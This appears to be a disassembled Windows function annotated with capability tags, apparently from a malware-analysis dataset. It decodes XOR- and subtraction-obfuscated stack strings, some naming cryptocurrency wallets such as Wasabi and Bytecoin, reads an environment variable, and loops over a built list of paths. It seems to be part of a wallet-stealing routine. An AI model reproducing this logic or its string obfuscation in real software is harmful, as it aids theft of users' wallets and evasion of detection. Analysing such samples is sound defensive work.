Function at 0x403ad3
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push 0x5b4
mov eax, 0x419c4e
call fcn.0041974f
movaps xmm0, xmmword [0x402250]
xor ebx, ebx
movups xmmword [ebp - 0x474], xmm0
mov dword [ebp - 0x464], 0x77767c56
mov ecx, ebx
mov dword [ebp - 0x460], 0x72467068
mov dword [ebp - 0x45c], 0x6a6c6971
mov byte [ebp - 0x458], bl
movsx eax, byte [ebp - 0x474]
and eax, 0x8000000f
jns 0x403b2b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x473], al
inc ecx
cmp ecx, 0x1b
jb 0x403b18
lea eax, [ebp - 0x473]
mov byte [ebp - 0x458], bl
push eax
lea ecx, [ebp - 0x4bc]
call fcn.004035da
mov dword [ebp - 4], ebx
mov al, 0x7c
mov dword [ebp - 0x41c], 0x7c7c4d7c
mov ecx, ebx
mov dword [ebp - 0x418], 0x6d806d50
mov byte [ebp - 0x414], bl
movsx eax, al
and eax, 0x8000000f
jns 0x403b80
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 7
jae 0x403b95
mov al, byte [ebp - 0x41c]
jmp 0x403b71
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], bl
push eax
lea ecx, [ebp - 0x48c]
call fcn.004035da
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x410]
cmp dword [ebp - 0x478], 0xf
lea eax, [ebp - 0x48c]
push 0x400
cmova eax, dword [ebp - 0x48c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x470]
test eax, eax
je 0x403beb
lea eax, [ebp - 0x410]
push eax
jmp 0x403bf0
push 0x401b6c
call fcn.004035da
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 3
call fcn.0040357e
movaps xmm0, xmmword [0x4024b0]
mov ecx, ebx
movups xmmword [ebp - 0x424], xmm0
mov word [ebp - 0x414], 0x8182
mov byte [ebp - 0x412], bl
movsx eax, byte [ebp - 0x424]
and eax, 0x8000000f
jns 0x403c36
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x423], al
inc ecx
cmp ecx, 0x11
jb 0x403c23
lea eax, [ebp - 0x423]
mov byte [ebp - 0x412], bl
push eax
lea ecx, [ebp - 0x280]
call fcn.004035da
mov byte [ebp - 4], 4
mov al, 0x1a
push 0x6f
pop ebx
mov word [ebp - 0x41c], 0x4f1a
xor ecx, ecx
mov byte [ebp - 0x41a], 0x76
mov byte [ebp - 0x419], bl
mov dword [ebp - 0x418], 0x7f7c7e6d
mov word [ebp - 0x414], 0x77
movsx eax, al
and eax, 0x8000000f
jns 0x403c9e
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x403cb3
mov al, byte [ebp - 0x41c]
jmp 0x403c8f
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x268]
call fcn.004035da
mov byte [ebp - 4], 5
mov cl, 0x15
mov dword [ebp - 0x41c], 0x60584915
xor eax, eax
mov dword [ebp - 0x418], 0x577c6179
mov word [ebp - 0x414], 0x617c
mov byte [ebp - 0x412], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 9
jae 0x403d0d
mov cl, byte [ebp - 0x41c]
jmp 0x403cf8
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x250]
call fcn.004035da
mov byte [ebp - 4], 6
mov al, 0x32
mov dword [ebp - 0x41c], 0x6e774f32
xor ecx, ecx
mov dword [ebp - 0x418], 0x6b446b76
mov word [ebp - 0x414], 0x76
movsx eax, al
and eax, 0x8000000f
jns 0x403d5a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x403d6f
mov al, byte [ebp - 0x41c]
jmp 0x403d4b
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x238]
call fcn.004035da
mov byte [ebp - 4], 7
mov cl, 0x74
mov dword [ebp - 0x41c], 0x6352874
xor eax, eax
mov dword [ebp - 0x418], 0xd061b19
mov byte [ebp - 0x414], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 7
jae 0x403dc0
mov cl, byte [ebp - 0x41c]
jmp 0x403dab
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x220]
call fcn.004035da
mov byte [ebp - 4], 8
mov al, 0x14
mov dword [ebp - 0x41c], 0x71764514
xor ecx, ecx
mov dword [ebp - 0x418], 0x7d7673
movsx eax, al
and eax, 0x8000000f
jns 0x403e04
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 6
jae 0x403e19
mov al, byte [ebp - 0x41c]
jmp 0x403df5
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0x208]
call fcn.004035da
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x402620]
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], 0x74817e
movsx eax, byte [ebp - 0x428]
and eax, 0x8000000f
jns 0x403e63
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x12
jb 0x403e50
lea eax, [ebp - 0x427]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0x1f0]
call fcn.004035da
mov byte [ebp - 4], 0xa
mov cl, 0xf
mov dword [ebp - 0x41c], 0x677b4a0f
xor eax, eax
mov dword [ebp - 0x418], 0x7a6a7d6a
mov word [ebp - 0x414], 0x62
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 8
jae 0x403ec3
mov cl, byte [ebp - 0x41c]
jmp 0x403eae
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x1d8]
call fcn.004035da
mov byte [ebp - 4], 0xb
mov al, 0x11
mov dword [ebp - 0x41c], 0x7a635d11
xor ecx, ecx
mov dword [ebp - 0x418], 0x70646675
mov byte [ebp - 0x414], 0x6a
mov byte [ebp - 0x413], bl
mov byte [ebp - 0x412], 0
movsx eax, al
and eax, 0x8000000f
jns 0x403f1b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 9
jae 0x403f30
mov al, byte [ebp - 0x41c]
jmp 0x403f0c
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x1c0]
call fcn.004035da
mov byte [ebp - 4], 0xc
mov cl, 0x74
push 0x36
pop ebx
xor edx, edx
mov byte [ebp - 0x41c], cl
mov byte [ebp - 0x41b], bl
mov eax, edx
mov dword [ebp - 0x41a], 0x1711000d
mov dword [ebp - 0x416], 0x1a1d1b
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 8
jae 0x403f8b
mov cl, byte [ebp - 0x41c]
jmp 0x403f76
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], dl
push eax
lea ecx, [ebp - 0x1a8]
call fcn.004035da
mov byte [ebp - 4], 0xd
xor edx, edx
movaps xmm0, xmmword [0x401d60]
mov ecx, edx
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], 0x4060013
mov byte [ebp - 0x414], dl
mov al, byte [ebp - 0x428]
xor byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x13
jb 0x403fc9
lea eax, [ebp - 0x427]
mov byte [ebp - 0x414], dl
push eax
lea ecx, [ebp - 0x190]
call fcn.004035da
mov byte [ebp - 4], 0xe
mov cl, 0x6b
mov dword [ebp - 0x418], 0x130a216b
xor eax, eax
mov word [ebp - 0x414], 0x13
xor byte [ebp + eax - 0x417], cl
inc eax
cmp eax, 4
jae 0x404024
mov cl, byte [ebp - 0x418]
jmp 0x40400f
lea eax, [ebp - 0x417]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x178]
call fcn.004035da
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x402310]
movups xmmword [ebp - 0x454], xmm0
mov dword [ebp - 0x434], 0x7c6b7262
movaps xmm0, xmmword [0x402360]
movups xmmword [ebp - 0x444], xmm0
mov dword [ebp - 0x430], 0x686a726b
mov byte [ebp - 0x42c], 0
movsx eax, byte [ebp - 0x454]
and eax, 0x8000000f
jns 0x40408d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x453], al
inc ecx
cmp ecx, 0x27
jb 0x40407a
lea eax, [ebp - 0x453]
mov byte [ebp - 0x42c], 0
push eax
lea ecx, [ebp - 0x160]
call fcn.004035da
mov byte [ebp - 4], 0x10
xor ecx, ecx
push 0x6f
pop eax
mov byte [ebp - 0x420], al
mov dword [ebp - 0x41f], 0x87877059
mov dword [ebp - 0x41b], 0x71785b2f
mov dword [ebp - 0x417], 0x88838174
mov byte [ebp - 0x413], 0
movsx eax, al
and eax, 0x8000000f
jns 0x4040f6
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41f], al
inc ecx
cmp ecx, 0xc
jae 0x40410b
mov al, byte [ebp - 0x420]
jmp 0x4040e7
lea eax, [ebp - 0x41f]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0x148]
call fcn.004035da
mov byte [ebp - 4], 0x11
mov cl, 8
mov dword [ebp - 0x41c], 0x7c695408
xor eax, eax
mov dword [ebp - 0x418], 0x6b616567
mov byte [ebp - 0x414], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 7
jae 0x40415c
mov cl, byte [ebp - 0x41c]
jmp 0x404147
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.004035da
mov byte [ebp - 4], 0x12
mov cl, 0x57
mov byte [ebp - 0x41c], cl
xor eax, eax
mov byte [ebp - 0x41b], bl
mov dword [ebp - 0x41a], 0x3e3a3823
mov word [ebp - 0x416], 0x34
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 6
jae 0x4041b1
mov cl, byte [ebp - 0x41c]
jmp 0x40419c
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0x118]
call fcn.004035da
mov byte [ebp - 4], 0x13
xor ecx, ecx
movaps xmm0, xmmword [0x4024d0]
movups xmmword [ebp - 0x428], xmm0
mov word [ebp - 0x418], 0x3b2d
mov byte [ebp - 0x416], bl
mov byte [ebp - 0x415], bl
mov word [ebp - 0x414], 0x2e3f
mov byte [ebp - 0x412], 0
mov al, byte [ebp - 0x428]
xor byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 0x15
jb 0x404203
lea eax, [ebp - 0x427]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0x100]
call fcn.004035da
mov byte [ebp - 4], 0x14
mov al, 8
mov dword [ebp - 0x41c], 0x77804d08
xor ecx, ecx
mov dword [ebp - 0x418], 0x7b7d6c
movsx eax, al
and eax, 0x8000000f
jns 0x40425a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 6
jae 0x40426f
mov al, byte [ebp - 0x41c]
jmp 0x40424b
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
push eax
lea ecx, [ebp - 0xe8]
call fcn.004035da
mov byte [ebp - 4], 0x15
mov cl, 0x3c
mov dword [ebp - 0x41c], 0x5d78603c
xor eax, eax
mov dword [ebp - 0x418], 0x537f544f
mov word [ebp - 0x414], 0x594e
mov byte [ebp - 0x412], 0
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 9
jae 0x4042c9
mov cl, byte [ebp - 0x41c]
jmp 0x4042b4
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x412], 0
push eax
lea ecx, [ebp - 0xd0]
call fcn.004035da
mov byte [ebp - 4], 0x16
mov cl, 0xd
mov dword [ebp - 0x41c], 0x7e6c490d
xor eax, eax
mov dword [ebp - 0x418], 0x7f624e65
mov word [ebp - 0x414], 0x68
xor byte [ebp + eax - 0x41b], cl
inc eax
cmp eax, 8
jae 0x40431c
mov cl, byte [ebp - 0x41c]
jmp 0x404307
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0xb8]
call fcn.004035da
mov byte [ebp - 4], 0x17
xor ecx, ecx
movaps xmm0, xmmword [0x4021a0]
movups xmmword [ebp - 0x424], xmm0
mov word [ebp - 0x414], 0x57
mov al, byte [ebp - 0x424]
xor byte [ebp + ecx - 0x423], al
inc ecx
cmp ecx, 0x10
jb 0x404352
lea eax, [ebp - 0x423]
mov byte [ebp - 0x413], 0
push eax
lea ecx, [ebp - 0xa0]
call fcn.004035da
mov byte [ebp - 4], 0x18
mov al, 0x48
mov dword [ebp - 0x41c], 0x7c714a48
xor ecx, ecx
mov dword [ebp - 0x418], 0x7671776b
mov byte [ebp - 0x414], 0
movsx eax, al
and eax, 0x8000000f
jns 0x4043b0
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 7
jae 0x4043c5
mov al, byte [ebp - 0x41c]
jmp 0x4043a1
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x414], 0
push eax
lea ecx, [ebp - 0x88]
call fcn.004035da
mov byte [ebp - 4], 0x19
xor ecx, ecx
movaps xmm0, xmmword [0x4022d0]
movups xmmword [ebp - 0x44c], xmm0
mov dword [ebp - 0x43c], 0x4e45494c
mov dword [ebp - 0x438], 0x41777c54
mov dword [ebp - 0x434], 0x54454c4c
mov word [ebp - 0x430], 0x53
mov al, byte [ebp - 0x44c]
xor byte [ebp + ecx - 0x44b], al
inc ecx
cmp ecx, 0x1c
jb 0x404419
lea eax, [ebp - 0x44b]
mov byte [ebp - 0x42f], 0
push eax
lea ecx, [ebp - 0x70]
call fcn.004035da
mov byte [ebp - 4], 0x1a
xor eax, eax
mov byte [ebp - 0x41c], bl
mov dword [ebp - 0x41b], 0x57455761
mov word [ebp - 0x417], 0x5f54
mov byte [ebp - 0x415], 0
xor byte [ebp + eax - 0x41b], bl
inc eax
cmp eax, 6
jae 0x40447d
mov bl, byte [ebp - 0x41c]
jmp 0x404468
lea eax, [ebp - 0x41b]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x415], bl
call fcn.004035da
mov byte [ebp - 4], 0x1b
mov ecx, ebx
movaps xmm0, xmmword [0x401f60]
movups xmmword [ebp - 0x454], xmm0
mov dword [ebp - 0x434], 0x293a3303
movaps xmm0, xmmword [0x401fd0]
movups xmmword [ebp - 0x444], xmm0
mov dword [ebp - 0x430], 0x3d3b333a
mov byte [ebp - 0x42c], bl
mov al, byte [ebp - 0x454]
xor byte [ebp + ecx - 0x453], al
inc ecx
cmp ecx, 0x27
jb 0x4044d0
lea eax, [ebp - 0x453]
mov byte [ebp - 0x42c], bl
push eax
lea ecx, [ebp - 0x40]
call fcn.004035da
mov byte [ebp - 4], 0x1c
mov ecx, ebx
push 0x79
pop eax
mov byte [ebp - 0x41c], al
mov dword [ebp - 0x41b], 0x6d6e6a4d
mov dword [ebp - 0x417], 0x7c7e756a
mov byte [ebp - 0x413], bl
movsx eax, al
and eax, 0x8000000f
jns 0x404530
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 8
jae 0x404545
mov al, byte [ebp - 0x41c]
jmp 0x404521
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x413], bl
push eax
lea ecx, [ebp - 0x28]
call fcn.004035da
xor eax, eax
mov byte [ebp - 4], 0x1d
mov ecx, 0x270
mov dword [ebp - 0x4c8], eax
lea ebx, [ebp - 0x280]
mov dword [ebp - 0x4c4], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x4c0], eax
call fcn.004037cf
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
lea esi, [eax + 0x270]
mov dword [ebp - 0x4c0], esi
lea esi, [ebp - 0x4c8]
mov dword [ebp - 0x418], esi
push esi
push eax
mov edx, edi
mov byte [ebp - 4], 0x1e
mov ecx, ebx
call fcn.00404a9b
pop ecx
pop ecx
mov dword [ebp - 0x4c4], eax
push 0x404753
push 0xd
push 0x30
pop ebx
push ebx
lea eax, [ebp - 0x280]
mov byte [ebp - 4], 0x20
push eax
call fcn.004189c1
lea ecx, [ebp - 0x5c0]
call fcn.0040380e
mov esi, dword [ebp - 0x4c8]
mov edi, dword [ebp - 0x4c4]
cmp esi, edi
je 0x4046eb
push esi
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x48c]
call fcn.004048a2
lea edx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x444]
call fcn.0040491f
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 0x22
push ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.004048ef
pop ecx
pop ecx
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x24
call fcn.0040357e
sub esp, 0x18
lea eax, [ebp - 0x48c]
mov ecx, esp
push eax
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x4046bb
cmp dword [ebp - 0x490], 0xf
lea eax, [ebp - 0x4a4]
mov edx, dword [ebp - 0x550]
cmova eax, dword [ebp - 0x4a4]
mov ecx, dword [ebp - 0x5c0]
push 0
push eax
call fcn.004064a5
call eax
cmp dword [ebp - 0x490], 0xf
lea edx, [ebp - 0x4a4]
lea ecx, [ebp - 0x48c]
cmova edx, dword [ebp - 0x4a4]
cmp dword [ebp - 0x478], 0xf
cmova ecx, dword [ebp - 0x48c]
call fcn.00413cab
lea ecx, [ebp - 0x4a4]
call fcn.0040357e
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x20
call fcn.0040357e
add esi, ebx
cmp esi, edi
jne 0x4045fa
mov edi, dword [ebp - 0x4c4]
mov esi, dword [ebp - 0x4c8]
test esi, esi
je 0x404737
cmp esi, edi
je 0x40470e
lea ecx, [esi + 0x18]
call fcn.0040357e
mov ecx, esi
call fcn.0040357e
add esi, ebx
cmp esi, edi
jne 0x4046f3
mov esi, dword [ebp - 0x4c8]
mov eax, dword [ebp - 0x4c0]
mov ecx, esi
sub eax, esi
cdq
idiv ebx
imul edx, eax, 0x30
call fcn.00403777
xor eax, eax
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], eax
lea ecx, [ebp - 0x470]
call fcn.0040357e
lea ecx, [ebp - 0x4bc]
call fcn.0040357e
call fcn.0041970d
ret